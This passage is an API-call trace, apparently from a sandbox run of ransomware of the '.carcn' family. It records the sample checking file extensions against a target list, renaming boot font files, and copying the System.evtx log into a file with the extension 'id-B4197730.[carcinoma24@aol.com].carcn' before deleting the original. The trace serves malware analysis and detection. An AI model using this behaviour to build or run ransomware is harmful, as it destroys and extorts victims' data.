(lpString1=".doc", lpString2=".mui") returned -1 [0252.837] lstrlenW (lpString=".docx") returned 5 [0252.837] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0252.837] lstrlenW (lpString=".pdf") returned 4 [0252.837] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0252.837] lstrlenW (lpString=".xls") returned 4 [0252.837] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0252.837] lstrlenW (lpString=".xlsx") returned 5 [0252.837] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0252.837] lstrlenW (lpString=".ppt") returned 4 [0252.837] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0252.837] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.837] lstrlenW (lpString=".zip") returned 4 [0252.837] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0252.837] lstrlenW (lpString=".rar") returned 4 [0252.838] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0252.838] lstrlenW (lpString=".bz2") returned 4 [0252.838] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0252.838] lstrlenW (lpString=".7z") returned 3 [0252.838] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0252.838] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.838] lstrlenW (lpString=".dbf") returned 4 [0252.838] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0252.838] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.838] lstrlenW (lpString=".1cd") returned 4 [0252.838] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0252.838] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.838] lstrlenW (lpString=".jpg") returned 4 [0252.838] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0252.838] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.838] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.838] lstrlenW (lpString=".doc") returned 4 [0252.838] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0252.838] lstrlenW (lpString=".docx") returned 5 [0252.838] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0252.838] lstrlenW (lpString=".pdf") returned 4 [0252.838] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0252.838] lstrlenW (lpString=".xls") returned 4 [0252.838] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0252.839] lstrlenW (lpString=".xlsx") returned 5 [0252.839] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0252.839] lstrlenW (lpString=".ppt") returned 4 [0252.839] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0252.839] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.839] lstrlenW (lpString=".zip") returned 4 [0252.839] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0252.839] lstrlenW (lpString=".rar") returned 4 [0252.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0252.839] lstrlenW (lpString=".bz2") returned 4 [0252.839] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0252.839] lstrlenW (lpString=".7z") returned 3 [0252.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0252.839] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.839] lstrlenW (lpString=".dbf") returned 4 [0252.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0252.839] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.839] lstrlenW (lpString=".1cd") returned 4 [0252.839] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0252.839] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0252.839] lstrlenW (lpString=".jpg") returned 4 [0252.839] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0252.840] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0252.840] lstrlenW (lpString="bootspaces.dll") returned 14 [0252.840] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.841] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=95648) returned 1 [0252.841] CloseHandle (hObject=0x348) returned 1 [0252.842] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0252.842] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.842] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.842] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.842] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.842] lstrlenW (lpString=".doc") returned 4 [0252.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.842] lstrlenW (lpString=".docx") returned 5 [0252.842] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0252.842] lstrlenW (lpString=".pdf") returned 4 [0252.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.842] lstrlenW (lpString=".xls") returned 4 [0252.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.842] lstrlenW (lpString=".xlsx") returned 5 [0252.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0252.842] lstrlenW (lpString=".ppt") returned 4 [0252.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString=".zip") returned 4 [0252.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.843] lstrlenW (lpString=".rar") returned 4 [0252.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.843] lstrlenW (lpString=".bz2") returned 4 [0252.843] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.843] lstrlenW (lpString=".7z") returned 3 [0252.843] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString=".dbf") returned 4 [0252.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString=".1cd") returned 4 [0252.843] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString=".jpg") returned 4 [0252.843] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.843] lstrlenW (lpString=".doc") returned 4 [0252.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString=".docx") returned 5 [0252.844] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0252.844] lstrlenW (lpString=".pdf") returned 4 [0252.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString=".xls") returned 4 [0252.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString=".xlsx") returned 5 [0252.844] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0252.844] lstrlenW (lpString=".ppt") returned 4 [0252.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.844] lstrlenW (lpString=".zip") returned 4 [0252.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString=".rar") returned 4 [0252.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.844] lstrlenW (lpString=".bz2") returned 4 [0252.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.844] lstrlenW (lpString=".7z") returned 3 [0252.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.844] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.844] lstrlenW (lpString=".dbf") returned 4 [0252.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.844] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.844] lstrlenW (lpString=".1cd") returned 4 [0252.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.844] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0252.844] lstrlenW (lpString=".jpg") returned 4 [0252.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.844] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0252.845] lstrlenW (lpString="bootvhd.dll") returned 11 [0252.845] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.845] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=99744) returned 1 [0252.845] CloseHandle (hObject=0x348) returned 1 [0252.845] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0252.845] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.845] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.845] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.845] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.845] lstrlenW (lpString=".doc") returned 4 [0252.845] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.845] lstrlenW (lpString=".docx") returned 5 [0252.845] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0252.846] lstrlenW (lpString=".pdf") returned 4 [0252.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString=".xls") returned 4 [0252.846] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString=".xlsx") returned 5 [0252.846] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0252.846] lstrlenW (lpString=".ppt") returned 4 [0252.846] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString=".zip") returned 4 [0252.846] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString=".rar") returned 4 [0252.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString=".bz2") returned 4 [0252.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.846] lstrlenW (lpString=".7z") returned 3 [0252.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString=".dbf") returned 4 [0252.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString=".1cd") returned 4 [0252.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString=".jpg") returned 4 [0252.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.846] lstrlenW (lpString=".doc") returned 4 [0252.846] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0252.846] lstrlenW (lpString=".docx") returned 5 [0252.846] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0252.846] lstrlenW (lpString=".pdf") returned 4 [0252.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0252.847] lstrlenW (lpString=".xls") returned 4 [0252.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0252.847] lstrlenW (lpString=".xlsx") returned 5 [0252.847] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0252.847] lstrlenW (lpString=".ppt") returned 4 [0252.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0252.847] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.847] lstrlenW (lpString=".zip") returned 4 [0252.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0252.847] lstrlenW (lpString=".rar") returned 4 [0252.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0252.847] lstrlenW (lpString=".bz2") returned 4 [0252.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0252.847] lstrlenW (lpString=".7z") returned 3 [0252.847] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0252.847] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.847] lstrlenW (lpString=".dbf") returned 4 [0252.847] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0252.847] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.847] lstrlenW (lpString=".1cd") returned 4 [0252.847] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0252.847] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0252.847] lstrlenW (lpString=".jpg") returned 4 [0252.847] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0252.847] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0252.847] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0252.848] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.848] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=76632) returned 1 [0252.848] CloseHandle (hObject=0x348) returned 1 [0252.848] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0252.848] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0252.848] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.848] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0252.848] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0252.848] lstrlenW (lpString=".doc") returned 4 [0252.848] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0252.848] lstrlenW (lpString=".docx") returned 5 [0252.849] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0252.849] lstrlenW (lpString=".pdf") returned 4 [0252.849] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0252.849] lstrlenW (lpString=".xls") returned 4 [0252.849] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0252.849] lstrlenW (lpString=".xlsx") returned 5 [0252.849] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0252.849] lstrlenW (lpString=".ppt") returned 4 [0252.849] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0252.849] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0252.849] lstrlenW (lpString=".zip") returned 4 [0252.849] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0252.849] lstrlenW (lpString=".rar") returned 4 [0252.849] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0252.849] lstrlenW (lpString=".bz2") returned 4 [0252.849] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0252.849] lstrlenW (lpString=".7z") returned 3 [0252.849] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0252.849] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0252.855] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0252.857] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0252.860] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0253.599] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.556] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0254.556] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0254.556] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\system.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0254.558] GetLastError () returned 0x0 [0254.558] ReadFile (in: hFile=0x414, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0254.620] WriteFile (in: hFile=0x41c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0254.916] ReadFile (in: hFile=0x414, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x11010, lpOverlapped=0x0) returned 1 [0254.925] WriteFile (in: hFile=0x41c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x11020, lpOverlapped=0x0) returned 1 [0254.931] ReadFile (in: hFile=0x414, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0254.931] WriteFile (in: hFile=0x41c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0254.931] SetEndOfFile (hFile=0x41c) returned 1 [0254.932] CloseHandle (hObject=0x41c) returned 1 [0255.376] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0255.376] SetEndOfFile (hFile=0x414) returned 1 [0255.378] CloseHandle (hObject=0x414) returned 1 [0255.378] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0255.378] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0255.378] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.378] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.378] lstrlenW (lpString=".doc") returned 4 [0255.378] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0255.378] lstrlenW (lpString=".docx") returned 5 [0255.379] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0255.379] lstrlenW (lpString=".pdf") returned 4 [0255.379] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".xls") returned 4 [0255.379] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".xlsx") returned 5 [0255.379] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0255.379] lstrlenW (lpString=".ppt") returned 4 [0255.379] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString=".zip") returned 4 [0255.379] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".rar") returned 4 [0255.379] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".bz2") returned 4 [0255.379] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".7z") returned 3 [0255.379] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString=".dbf") returned 4 [0255.379] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString=".1cd") returned 4 [0255.379] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString=".jpg") returned 4 [0255.379] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.379] lstrlenW (lpString=".doc") returned 4 [0255.379] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0255.379] lstrlenW (lpString=".docx") returned 5 [0255.379] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0255.380] lstrlenW (lpString=".pdf") returned 4 [0255.380] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString=".xls") returned 4 [0255.380] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString=".xlsx") returned 5 [0255.380] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0255.380] lstrlenW (lpString=".ppt") returned 4 [0255.380] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.380] lstrlenW (lpString=".zip") returned 4 [0255.380] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString=".rar") returned 4 [0255.380] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString=".bz2") returned 4 [0255.380] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString=".7z") returned 3 [0255.380] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0255.380] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.380] lstrlenW (lpString=".dbf") returned 4 [0255.380] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.380] lstrlenW (lpString=".1cd") returned 4 [0255.380] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0255.380] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0255.380] lstrlenW (lpString=".jpg") returned 4 [0255.380] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0255.380] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0255.381] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0255.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0255.403] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10240) returned 1 [0255.403] CloseHandle (hObject=0x414) returned 1 [0255.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0255.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.404] lstrlenW (lpString="C:\\Program Files\\Common 